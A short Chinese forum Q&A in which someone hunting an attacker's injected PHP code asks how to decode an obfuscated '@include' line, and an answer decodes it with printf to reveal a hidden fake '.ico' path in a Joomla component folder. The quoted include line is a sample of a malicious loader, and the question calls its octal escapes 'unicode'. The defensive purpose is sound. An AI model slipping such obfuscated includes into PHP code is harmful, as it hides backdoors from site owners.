我有一个 bash 脚本,它扫描 php 文件以查找如下所示的行
@include "\057var/\167ww/n\143v/ad\155inis\164rato\162/com\160onen\164s/co\155_spp\141gebu\151lder\057.9e7\064214f\056ico";
我需要一种将 unicode 字符代码解码为文字字符的方法。这样我就可以找到攻击者创建的假图标。
我可以在 bash 中使用什么来解码 unicode 字符?
答案1
非常简单的解决方案(如果可用)是使用 printf
printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '
给我我所需要的
4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";